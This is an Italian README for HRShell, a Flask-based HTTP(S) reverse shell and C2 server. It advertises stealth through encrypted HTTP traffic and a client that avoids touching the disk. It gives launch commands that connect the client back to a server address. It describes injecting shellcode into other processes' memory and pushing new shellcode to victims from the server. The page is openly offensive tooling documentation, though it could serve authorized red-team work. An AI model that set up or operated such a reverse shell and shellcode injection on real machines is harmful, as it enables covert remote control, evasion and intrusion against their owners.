
HRShell è una reverse shell HTTPS/HTTP costruita con flask. È un server C2 avanzato con molte funzionalità e capacità.
HRShell è una reverse shell HTTPS/HTTP costruita con Flask ed è compatibile con python 3.x. client.py è stato testato con successo su:
mentre server.py è compatibile con sistemi Unix (supporto per Windows in arrivo...)
migrate <PID>) specificandone il PID
cd e varianti).history disponibile su sistemi Unix.download/upload/screenshot/hex disponibili.|) e comandi concatenati (;) sono supportatigunicorn e Nginx.server.py che client.py sono facilmente estendibili.*Per le modifiche alle versioni consulta CHANGELOG.
HRShell è furtivo poiché utilizza il protocollo HTTP(S) come metodo di comunicazione tra client e server. Inoltre, quando TLS è in uso, il traffico è crittografato. Inoltre, se il CERT non è codificato manualmente sul lato client (opzione fattibile) e il comando upload non viene utilizzato, client.py non tocca affatto il disco.
Lato server:
A meno che non venga specificata l'opzione --http, di default server.py è HTTPS utilizzando certificati on-the-fly, poiché i certificati on-the-fly sono una funzionalità integrata di Flask. Ma se viene specificata l'opzione -s tornado per fare in modo che il server utilizzi TLS, devono essere specificate le opzioni --cert e --key in questo modo:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Si possono utilizzare certificati "reali" oppure un altro modo per generare una coppia cert/chiave è, ad esempio, usando mkcert o openssl direttamente in questo modo:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Una coppia cert/chiave può essere utilizzata anche con il server Flask:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Se il server utilizza TLS, per progettazione il client non può usare
http://...per connettersi al server, ma deve usare esplicitamentehttps.
Lato client: Di default la verifica SSL del client è disabilitata, a meno che:
--cert ad esempio:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT, invece del valore predefinito None, venga impostata preventivamente con un certificato valido, ad esempio:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
In questo caso client.py tenterà di creare al volo un file nascosto .cert.pem e lo utilizzerà al suo posto.⚠️ Il fatto che la verifica SSL sia disabilitata di default sul client non significa in alcun caso che anche TLS sia disabilitato, TLS sarà abilitato se il server lo utilizza - quindi TLS dipende completamente dal server. L'opzione
--certsul client è presente solo come modo alternativo per avere una sessione crittografata tra server e client, tutto qui.
Esistono due "modalità" di iniezione di shellcode utilizzando rispettivamente i due comandi seguenti:
migrate <PID>: Utilizzando questo comando possiamo iniettare shellcode nello spazio di memoria di un altro processo specificandone il PID. Per ora questo comando può essere applicato solo su piattaforme Windows x86/x64!
inject shellcode: Utilizzando questo comando viene creato un nuovo thread (o processo generato su sistemi Unix) del nostro processo corrente e l'iniezione di shellcode avviene nel suo spazio di memoria. Di conseguenza la nostra shell HTTP(S) non viene influenzata dall'iniezione. Le piattaforme su cui questo comando può essere applicato sono: Unix x86/x64, Windows x86!
Ci sono due modi per specificare/impostare che tipo di shellcode vuoi che il client esegua:
shellcode nello script client.py in modo che sia uno shellcode valido, oppureset shellcode <shellcode-id> per farlo al volo. Con questo comando puoi aggiornare il tuo shellcode lato client dal lato server tutte le volte che vuoi!